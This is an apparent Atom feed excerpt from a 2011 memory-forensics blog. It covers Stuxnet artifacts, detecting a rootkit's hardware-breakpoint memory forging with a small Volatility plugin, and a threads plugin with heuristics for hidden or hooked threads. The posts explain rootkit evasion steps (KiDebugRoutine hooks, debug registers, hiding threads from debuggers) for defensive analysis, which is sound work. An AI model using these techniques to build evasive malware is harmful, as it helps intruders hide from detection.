/&gt;0x13fe6a1 ff7514                           PUSH DWORD [EBP+0x14]&lt;br /&gt;0x13fe6a4 ff7510                           PUSH DWORD [EBP+0x10]&lt;br /&gt;0x13fe6a7 e810000000                       CALL 0x13fe6bc&lt;br /&gt;0x13fe6ac 59                               POP ECX&lt;br /&gt;0x13fe6ad 33c0                             XOR EAX, EAX&lt;br /&gt;0x13fe6af 59                               POP ECX&lt;br /&gt;0x13fe6b0 40                               INC EAX&lt;br /&gt;0x13fe6b1 5d                               POP EBP&lt;br /&gt;0x13fe6b2 c21000                           RET 0x10&lt;br /&gt;0x13fe6b5 5d                               POP EBP&lt;br /&gt;0x13fe6b6 ff25c4534401                     JMP DWORD [0x14453c4]&lt;br /&gt;0x13fe6bc 55                               PUSH EBP&lt;br /&gt;0x13fe6bd 8bec                             MOV EBP, ESP&lt;br /&gt;0x13fe6bf 83e4f8                           AND ESP, -0x8&lt;br /&gt;0x13fe6c2 64a100000000                     MOV EAX, [FS:0x0]&lt;br /&gt;0x13fe6c8 6aff                             PUSH -0x1&lt;br /&gt;0x13fe6ca 68893d4401                       PUSH DWORD 0x1443d89&lt;br /&gt;0x13fe6cf 50                               PUSH EAX&lt;br /&gt;0x13fe6d0 64892500000000                   MOV [FS:0x0], ESP&lt;br /&gt;0x13fe6d7 83ec6c                           SUB ESP, 0x6c&lt;br /&gt;0x13fe6da 817d0800800000                   &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;CMP DWORD [EBP+0x8], 0x8000 ; DBT_DEVICEARRIVAL&lt;/span&gt;&lt;br /&gt;0x13fe6e1 53                               PUSH EBX&lt;br /&gt;0x13fe6e2 56                               PUSH ESI&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Artifact 17: check! Artifact 18: check. Capabilities you didn't know existed in any memory analysis framework: check! ;=)&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 19 (and Beyond...)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Okay so we didn't quite make it to 20 artifacts with the time allotted, but with the &lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;power of Volatility&lt;/span&gt;&lt;/span&gt;, we've gotten pretty close. 20 is still a small number in relation to how many artifacts Stuxnet actually leaves on a system. We didn't even touch on the RPC server, jobs/tasks, UPX packing, and fake digital certificates. Also, don't forget there are other memory analysis frameworks with different capabilities.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Conclusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I hope this has been an informative post for people interested in malware analysis, Stuxnet, Volatility, memory forensics, and related topics. Thank you to the authors of all the quoted articles (the people who did real RE work) and to the Volatility team for completing release 2.0!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-2661066967859357938?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/2661066967859357938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=2661066967859357938' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2661066967859357938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2661066967859357938'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/06/examining-stuxnets-footprint-in-memory.html' title='Stuxnet&apos;s Footprint in Memory with Volatility 2.0'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-0txXvpqeYYM/TiUd8X7SROI/AAAAAAAACK8/lW0n-EForLk/s72-c/globalmutexsvc.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-1338347393596493135</id><published>2011-04-25T22:03:00.011-06:00</published><updated>2011-05-06T08:26:05.470-06:00</updated><title type='text'>Detecting/Memory Forging Attempt by a Rootkit</title><content type='html'>In my previous post on analyzing threads, I hinted that there would be a separate discussion regarding Rachit Mathur's &lt;a href="http://blogs.mcafee.com/mcafee-labs/memory-forging-attempt-by-a-rootkit"&gt;Memory Forging Attempt By A Rootkit&lt;/a&gt; article. Well, here it is!&lt;br /&gt;&lt;br /&gt;In his blog, Rachit described a malware sample that prevented live anti-rootkit tools from detecting the malware's IRP hooks. To summarize the malware's technique, it did the following:&lt;br /&gt;&lt;br /&gt;1) Hook KiDebugRoutine&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt; (see &lt;a href="http://uninformed.org/index.cgi?v=8&amp;amp;a=2"&gt;skape &amp;amp; Skywing's explanation&lt;/a&gt;) by overwriting the kernel global with a pointer to the rootkit code. For example code showing how to do this, see the &lt;a href="http://code.google.com/p/ngdbg/source/browse/trunk/dbgeng.cpp#393"&gt;DbgHookKiDebugRoutine function of the ngdbg&lt;/a&gt; project.&lt;br /&gt;&lt;br /&gt;2) Set an on-read hardware breakpoint which triggers on attempts to read the memory of the hooked driver's dispatch table&lt;br /&gt;&lt;br /&gt;3) Return real or fake data from the KiDebugRoutine hook...thus allowing the rootkit to mask its memory modifications when checked by anti-rootkit tools&lt;br /&gt;&lt;br /&gt;The purpose of this blog is to discuss how you can detect the hardware breakpoints that allow this malware to "filter" access to the protected memory. Volatility's threads command can detect hardware breakpoints, but only thread-specific breakpoints using the set of registers located at _ETHREAD.Tcb.TrapFrame. The rootkit we're discussing uses a different set of processor (or affinity)-specific registers.&lt;br /&gt;&lt;br /&gt;Take a look at the following function in the rootkit's driver that actually sets the breakpoints.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-5WwIgAiIlhg/TbZN0LwuijI/AAAAAAAACJ8/zfxIYlICoiA/s1600/TdssHwBps.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 264px; height: 400px;" src="http://3.bp.blogspot.com/-5WwIgAiIlhg/TbZN0LwuijI/AAAAAAAACJ8/zfxIYlICoiA/s400/TdssHwBps.png" alt="" id="BLOGGER_PHOTO_ID_5599748745587493426" border="0" /&gt;&lt;/a&gt;And here's a description of what its doing:&lt;br /&gt;&lt;br /&gt;1) Uses &lt;a href="http://msdn.microsoft.com/en-us/library/ff553001%28v=vs.85%29.aspx"&gt;KeQueryActiveProcessors&lt;/a&gt; to find out how many processors the victim machine has&lt;br /&gt;&lt;br /&gt;2) Enters a loop that executes once for each processor, up to 32 processors&lt;br /&gt;&lt;br /&gt;3) Calls &lt;a href="http://msdn.microsoft.com/en-us/library/ff553267%28v=vs.85%29.aspx"&gt;KeSetSystemAffinityThread&lt;/a&gt; to "switch" processors on which the current thread executes (so that the thread can make processor-specific changes)&lt;br /&gt;&lt;br /&gt;4) Finds the processor's KPCR structure by referencing fs:[1Ch] which points to KPCR.SelfPcr (a self-referencing member of the KPCR)&lt;br /&gt;&lt;br /&gt;5) Sets the KPCR.DebugActive member to 1&lt;br /&gt;&lt;br /&gt;6) Move the debug flags 0F0703h into the dr7 control register (see mov dr7, ebx)&lt;br /&gt;&lt;br /&gt;7) Move the address of the protected memory into the dr0 register (see mov dr0, ebx)&lt;br /&gt;&lt;br /&gt;8) If OS MajorVersion is less than 6 (i.e. XP or earlier), then it also writes to the processor-specific set of special registers. Note: writing to dr0 and dr7 on XP will update the special registers anyway.&lt;br /&gt;&lt;br /&gt;Based on the disassembly and these few minutes of rootkit reverse engineering, we can now build a proof-of-concept Volatility plugin that detects the breakpoints.&lt;br /&gt;&lt;pre  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;import volatility.commands as commands&lt;br /&gt;import volatility.utils as utils&lt;br /&gt;import volatility.obj as obj&lt;br /&gt;&lt;br /&gt;class TestCommand(commands.command):&lt;br /&gt;"""Check the kernel's debug registers"""&lt;br /&gt;&lt;br /&gt;def calculate(self):&lt;br /&gt;   addr_space = utils.load_as(self._config)&lt;br /&gt;&lt;br /&gt;   volmagic = obj.Object('VOLATILITY_MAGIC', 0x0, addr_space)&lt;br /&gt;   kpcr = obj.Object("_KPCR", volmagic.KPCR.v(), addr_space)&lt;br /&gt;&lt;br /&gt;   if kpcr.DebugActive:&lt;br /&gt;       if kpcr.Prcb.ProcessorState.SpecialRegisters.KernelDr0 != 0:&lt;br /&gt;           print '[*] Infection Possible!'&lt;br /&gt;&lt;br /&gt;def render_text(self, outfd, data):&lt;br /&gt;   pass&lt;/span&gt;&lt;/pre&gt;Just drop that code into a file such as volatility/plugins/testcommand.py and off you go. On an infected machine, you should see:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ python vol.py -f memory.dmp testcommand&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] infection possible!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The code we've written here is simply proof of concept, just to show how easy it is to access members of different data structures using Volatility's object model. The main weaknesses in the current code, should you want to design a more useful one are:&lt;br /&gt;&lt;br /&gt;1) It only checks one processor instead of the maximum 32. For proof of concept purposes, it doesn't really matter which processor is checked since the rootkit "infects" them all, but in real life you'd want to be more robust.&lt;br /&gt;&lt;br /&gt;2) It only checks if dr0 is set, but dr1 dr2 and dr3 could be set by the rootkit instead. Maybe different variants of the same malware use different registers - you never know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-1338347393596493135?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/1338347393596493135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=1338347393596493135' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1338347393596493135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1338347393596493135'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/04/detectingmemory-forging-attempt-by.html' title='Detecting/Memory Forging Attempt by a Rootkit'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-5WwIgAiIlhg/TbZN0LwuijI/AAAAAAAACJ8/zfxIYlICoiA/s72-c/TdssHwBps.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-6353661459910179478</id><published>2011-04-18T10:54:00.064-06:00</published><updated>2011-04-29T08:57:55.794-06:00</updated><title type='text'>Investigating Windows Threads with Volatility</title><content type='html'>There are various ways of finding objects and data structures in a memory dump. Two of the popular ways include list traversal (or pointer traversal) and pool scanning. Depending on which  plugin you use, &lt;a href="http://code.google.com/p/volatility/"&gt;Volatility&lt;/a&gt; allows you to enumerate processes, sockets,  connections, and kernel modules using both of these methods. Regarding threads,  however, there is only one plugin, named &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#thrdscan2"&gt;thrdscan2&lt;/a&gt;,  which uses pool scanning. So does that mean you can't use Volatility to  enumerate threads by list traversal? Of course not, Silly! In fact,  there are several source files, such as &lt;a href="http://code.google.com/p/volatility/source/browse/branches/Volatility-1.4_rc1/volatility/plugins/ssdt.py#107"&gt;ssdt.py&lt;/a&gt; by &lt;a href="http://moyix.blogspot.com/"&gt;Brendan Dolan-Gavitt&lt;/a&gt;, which shows how it's done. Here's a snippet of that code:&lt;br /&gt;&lt;pre  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;for proc in tasks.pslist(addr_space):&lt;br /&gt; for thread in proc.ThreadListHead.list_of_type("_ETHREAD", "ThreadListEntry"):&lt;br /&gt;     # print thread.ExitTime&lt;/span&gt;&lt;/pre&gt;As  shown, in the inner &lt;span style="font-style: italic;"&gt;for&lt;/span&gt; loop, you would reference members of _ETHREAD in an object-oriented  manner, just like any other Python class. This gives you the ability to  use or print the data in any way you want. For example, if you can't  identify the owning driver for a thread's start address  (thread.StartAddress), then it might be an &lt;a href="http://mnin.blogspot.com/2009/03/finding-tiggersyzor-infections-and.html"&gt;orphan thread&lt;/a&gt;  left by a rootkit.  You may also want to know which threads are using  an SSDT (thread.Tcb.ServiceTable) with hooked functions. Plugins for  Volatility, which implement both of these checks, are described in &lt;span style="font-weight: bold;"&gt;Recipe 17.6 Detecting SSDT Hooks&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;Recipe 17.8 Finding Rootkits with Detached Kernel Threads&lt;/span&gt; of &lt;a href="http://www.amazon.com/dp/0470613033?tag=malwacookb-20&amp;amp;camp=14573&amp;amp;creative=327641&amp;amp;linkCode=as1&amp;amp;creativeASIN=0470613033&amp;amp;adid=1427ZF6HGNFBMYBT4SNP&amp;amp;"&gt;Malware Analyst's Cookbook&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;After  careful consideration ;-) I decided that instead of creating an  individual plugin for each heuristic, we could simply have one which  performs all checks, can be easily extended with other checks, and that more  or less breaths some life into the ability to report on threads in physical memory dumps. After  all, there are lots of memory forensic tools that can enumerate  threads, but output is typically limited to basic  information about the thread (such as thread ID, owning process,  and start/exit times). From an analysis perspective, after you've  found a thread...what's next?&lt;br /&gt;&lt;br /&gt;To help address these issues, I  created a new plugin named &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/malware.py"&gt;&lt;span style="font-style: italic;"&gt;threads&lt;/span&gt;&lt;/a&gt;. It uses whatever heuristics you give  it and associates a descriptive tag to threads found in the memory  dump. Then you filter by tag when performing an investigation. For  example, you could ask it to only show threads hidden from a debugger. To see the list of possible arguments to the threads command, use it first with -h:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f test.vmem threads -h&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;Usage: Volatility - A memory forensics analysis platform.&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;......&lt;br /&gt;-F FILTER, --filter=FILTER&lt;br /&gt;                   Tags to filter (comma-separated)&lt;br /&gt;-A ALLOW_HOOK, --allow-hook=ALLOW_HOOK&lt;br /&gt;                   Allow SSDT hooks from these mods (comma-separated)&lt;br /&gt;-p PID, --pid=PID     Operate on these Process IDs (comma-separated)&lt;br /&gt;-L, --listtags        List all available tags&lt;/span&gt;&lt;/pre&gt;To list the existing tags and their descriptions, use the -L flag to the plugin:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f test.vmem threads -L&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;Tag                  Description&lt;br /&gt;--------------       --------------&lt;br /&gt;DkomExit             Detect inconsistencies wrt exit times and termination&lt;br /&gt;HwBreakpoints        Detect threads with hardware breakpoints&lt;br /&gt;ScannerOnly          Detect threads no longer in a linked list&lt;br /&gt;HideFromDebug        Detect threads hidden from debuggers&lt;br /&gt;OrphanThread         Detect orphan threads&lt;br /&gt;AttachedProcess      Detect threads attached to another process&lt;br /&gt;HookedSSDT           Detect threads using a hooked SSDT&lt;br /&gt;SystemThread         Detect system threads&lt;/span&gt;&lt;/pre&gt;If available , for the threads that meet your filtering criteria, the  plugin will also print the contents of the thread's registers at the  time of the memory dump and disassemble code at the thread's start  address. Now let's discuss each of the heuristics and see some example output.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The OrphanThread Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This  tag is associated with &lt;span style="font-style: italic;"&gt;system&lt;/span&gt; &lt;span style="font-style: italic;"&gt;threads&lt;/span&gt; (see the SystemThread tag) whose StartAddress does not map back to a  kernel driver in the PsLoadedModuleList. It can find threads created by  a rootkit that unloads or unlinks its .sys in order to hide. Here  is example output from the plugin on a memory dump infected with &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/17/8/tigger.vmem.zip"&gt;Tigger&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f tigger.vmem threads -F OrphanThread&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0xff1f92b0 Pid: 4 Tid: 1648&lt;br /&gt;Tags: OrphanThread,SystemThread&lt;br /&gt;Created: 2010-08-15 19:26:13&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x810b1660 System&lt;br /&gt;Attached Process: 0x810b1660 System&lt;br /&gt;State: Waiting:DelayExecution&lt;br /&gt;BasePriority: THREAD_PRIORITY_NORMAL&lt;br /&gt;TEB: 0x00000000&lt;br /&gt;StartAddress: 0xf2edd150&lt;br /&gt;ServiceTable: 0x80552180&lt;br /&gt;[0] 0x80501030&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM&lt;br /&gt;f2edd150: 803d782aeff200         CMP BYTE [0xf2ef2a78], 0x0&lt;br /&gt;f2edd157: 7437                   JZ 0xf2edd190&lt;br /&gt;f2edd159: 56                     PUSH ESI&lt;br /&gt;f2edd15a: bef0d0edf2             MOV ESI, 0xf2edd0f0&lt;br /&gt;f2edd15f: ff35702aeff2           PUSH DWORD [0xf2ef2a70]&lt;/span&gt;&lt;/pre&gt;There are several key points to note:&lt;br /&gt;&lt;br /&gt;* The start address is 0xf2edd150 and no module name is printed, since it can't be identified&lt;br /&gt;&lt;br /&gt;* The thread is probably still running, because there is a create time but no exit time and the thread's state is waiting&lt;br /&gt;&lt;br /&gt;*  This is not a GUI thread, because the SSDT[1] (for the win32k.sys  Shadow Table) is not initialized and the Win32Thread pointer is NULL&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The SystemThread Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This tag is associated with threads created by calls to &lt;a href="http://msdn.microsoft.com/en-us/library/ff559932%28v=vs.85%29.aspx"&gt;PsCreateSystemThread&lt;/a&gt;. You can distinguish these threads because they're owned by the System process, the PS_CROSS_THREAD_FLAGS_SYSTEM bit is set in _ETHREAD.CrossThreadFlags, and in most cases the _TEB (Thread Environment Block) pointer will also be NULL. An interesting thing to note about the PS_CROSS_THREAD_FLAGS_SYSTEM flag is that it can be set for non-system threads, which on some versions of Windows can help prevent the thread or owning process from being terminated. Naturally, some Chinese hacker forums (visit at your own risk) &lt;a href="http://kssd.pediy.com/pediy10/95033.html"&gt;site 1&lt;/a&gt; and &lt;a href="http://hi.baidu.com/cr0_3/blog/item/951555208f167442925807f7.html"&gt;site 2&lt;/a&gt; has some source code regarding that fact.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The HookedSSDT Tag&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;This  tag is associated with threads whose _ETHREAD.Tcb.ServiceTable points to  one or more SSDTs with hooked functions. Depending on &lt;span style="font-style: italic;"&gt;how&lt;/span&gt; a rootkit  installs SSDT hooks, the hooks may not apply to all threads. To see  which threads are affected and the names of the hooked functions, you  can use the following filter (example is using &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/17/6/be2.vmem.zip"&gt;BlackEnergy 2&lt;/a&gt;):&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f be2.vmem threads -F HookedSSDT&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0xff20c6f8 Pid: 1028 Tid: 1284&lt;br /&gt;Tags: HookedSSDT&lt;br /&gt;Created: 2010-08-15 19:22:11&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x80fbf910 svchost.exe&lt;br /&gt;Attached Process: 0x80fbf910 svchost.exe&lt;br /&gt;State: Waiting:WrLpcReceive&lt;br /&gt;BasePriority: THREAD_PRIORITY_ABOVE_NORMAL&lt;br /&gt;TEB: 0x7ff95000&lt;br /&gt;StartAddress: 0x7c810856&lt;br /&gt;ServiceTable: 0xff1ef008&lt;br /&gt;[0] 0xff3aab90&lt;br /&gt;[0x41] NtDeleteValueKey 0xff0d2487 00004A2A&lt;br /&gt;[0x47] NtEnumerateKey 0xff0d216b 00004A2A&lt;br /&gt;[0x49] NtEnumerateValueKey 0xff0d2267 00004A2A&lt;br /&gt;[0x77] NtOpenKey 0xff0d20c3 00004A2A&lt;br /&gt;[0x7a] NtOpenProcess 0xff0d1e93 00004A2A&lt;br /&gt;[0x80] NtOpenThread 0xff0d1f0b 00004A2A&lt;br /&gt;[0x89] NtProtectVirtualMemory 0xff0d2617 00004A2A&lt;br /&gt;[0xad] NtQuerySystemInformation 0xff0d1da0 00004A2A&lt;br /&gt;[0xba] NtReadVirtualMemory 0xff0d256b 00004A2A&lt;br /&gt;[0xd5] NtSetContextThread 0xff0d2070 00004A2A&lt;br /&gt;[0xf7] NtSetValueKey 0xff0d2397 00004A2A&lt;br /&gt;[0xfe] NtSuspendThread 0xff0d201d 00004A2A&lt;br /&gt;[0x102] NtTerminateThread 0xff0d1fca 00004A2A&lt;br /&gt;[0x115] NtWriteVirtualMemory 0xff0d25c1 00004A2A&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags:&lt;br /&gt;Eip: 0x7c90eb94&lt;br /&gt;eax=0x7509b647 ebx=0x750a3db0 ecx=0x7c914d8f&lt;br /&gt;edx=0x01f7faec esi=0x00000001 edi=0x00000000&lt;br /&gt;eip=0x7c90eb94 esp=0x0168fde8 ebp=0x0168ff34 err=0x00000000&lt;br /&gt;cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246&lt;br /&gt;dr0=0x00000000 dr1=0x00000000 dr2=0x00000000&lt;br /&gt;dr3=0x00000000 dr6=0x00000000 dr7=0x00000000&lt;/span&gt;&lt;/pre&gt;Notice  in the output that the thread's service table is 0xff1ef008. This  points to an array of 4 SSDTs. The first one at index [0] is the Native  SSDT whose base is 0xff3aab90. It contains 14 hooked functions, all  pointing to a driver named 00004A2A.sys. Therefore, when this thread  calls any of the 14 functions, it will be routed through a malicious  driver.&lt;br /&gt;&lt;br /&gt;The -A or --allow-hook parameter to the threads command allows you to specify the names of  drivers that can legitimately set SSDT hooks. For example, if good.sys (an anti-virus driver) hooks the SSDT for all threads and bad.sys (a rootkit) hooks the SSDT for only a few threads, you may want to use the HookedSSDT filter and only focus on threads hooked by bad.sys. In that case just specify --allow-hook=good.sys.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The ScannerOnly Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This tag is associated with threads identified by the pool scanner only (not by list traversal). This does &lt;span style="font-style: italic;"&gt;not&lt;/span&gt;  mean that a rootkit maliciously unlinked a thread from the list or that  the thread is hidden in some way. It most often means that the thread  has simply exited (and thus has legitimately been unlinked) or the thread  belongs to a process that isn't in the PsActiveProcessHead list. You  typically won't set a filter specifically for ScannerOnly, but you will  see it frequently paired with other tags - so its good to be aware of what it  means.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The DkomExit Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This  tag is associated with threads that are still running but whose ExitTime has been filled in. Of the existing memory  analysis tools that print exit times, you'll typically see a date or an empty string (if the ExitTime is all zeros). If a rootkit uses  Direct Kernel Object Manipulation (DKOM) and fills in a thread's  ExitTime, it will appear as if the thread has exited even if it's still running. Thus relying on  the ExitTime alone is something we want to avoid.&lt;br /&gt;&lt;br /&gt;The purpose of the DkomExit check is to cross-reference the ExitTime with other fields in the _ETHREAD structure, that if forged, would &lt;span style="font-style: italic;"&gt;probably&lt;/span&gt; cause serious problems for the thread. These other fields include the thread's state (see &lt;a href="http://www.nirsoft.net/kernel_struct/vista/KTHREAD_STATE.html"&gt;_KTHREAD_STATE&lt;/a&gt;) and the thread's flags (see the &lt;a href="http://www.hackchina.com/r/206238/struct.h__html"&gt;PS_CROSS_THREAD_FLAGS_*&lt;/a&gt; definitions). To evaluate if this technique will yield false positives, we have to consider &lt;span style="font-style: italic;"&gt;when&lt;/span&gt; the kernel sets each of these fields during a thread's shutdown routine.&lt;br /&gt;&lt;br /&gt;For now, let's assume that most threads terminate via NtTerminateThread or PsTerminateSystemThread. First, both functions call PspTerminateThreadByPointer, which sets the PS_CROSS_THREAD_FLAGS_TERMINATED bit in _ETHREAD.CrossThreadFlags. Second, PspExitThread is called, which uses KeQuerySystemTime to fill in the _ETHREAD.ExitTime.  Third, KeTerminateThread is called, which sets the _ETHREAD.Tcb.State to Terminated. So theoretically we should never find an _ETHREAD whose State == Terminated but whose ExitTime is still all zeros and whose CrossThreadFlags does not have the PS_CROSS_THREAD_FLAGS_TERMINATED bit set.&lt;br /&gt;&lt;br /&gt;Right.....? Wrong!&lt;br /&gt;&lt;br /&gt;KeTerminateThread is exported by the NT module and can be called directly by a thread already running in kernel mode. In this case, the first and second steps will be skipped, but the third will be carried out. Here's a call flow diagram showing these possibilities:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-JgK5Y5mIvuY/Ta2qlNlsC_I/AAAAAAAACJk/fRl3hGqUtn0/s1600/threads.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 279px; height: 320px;" src="http://4.bp.blogspot.com/-JgK5Y5mIvuY/Ta2qlNlsC_I/AAAAAAAACJk/fRl3hGqUtn0/s320/threads.png" alt="" id="BLOGGER_PHOTO_ID_5597317468171013106" border="0" /&gt;&lt;/a&gt;Out of the first 15-20 memory dumps from an assortment of XP, 2003, Vista, 2008, and 7 machines that I used for testing, there weren't any false positives found for the DkomExit tag. So although its possible to encounter a false positive, it shouldn't happen frequently...and now you have an explanation to go along with it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The HideFromDebug Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As described in a &lt;a href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#ThreadHiding"&gt;Code Project article on Anti-Reverse Engineering&lt;/a&gt; (this may not be the original source), a thread can "hide" from a debugger by passing the HideThreadFromDebugger class to NtSetInformationThread. This doesn't exactly hide the thread, it just prevents debuggers from receiving events generated by the thread. Malware may do this to prevent analysts from catching breakpoints, for example. To detect threads with this special status, we check if the PS_CROSS_THREAD_FLAGS_HIDEFROMDBG bit is set in _ETHREAD.CrossThreadFlags. Here's an example created by running a compiled copy of the source code in the above article.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f Windows7.vmem --profile=Win7SP0x86 threads -F HideFromDebug&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0x84f5a158 Pid: 4052 Tid: 4080&lt;br /&gt;Tags: HideFromDebug&lt;br /&gt;Created: -&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x84b17998 debugtest.exe&lt;br 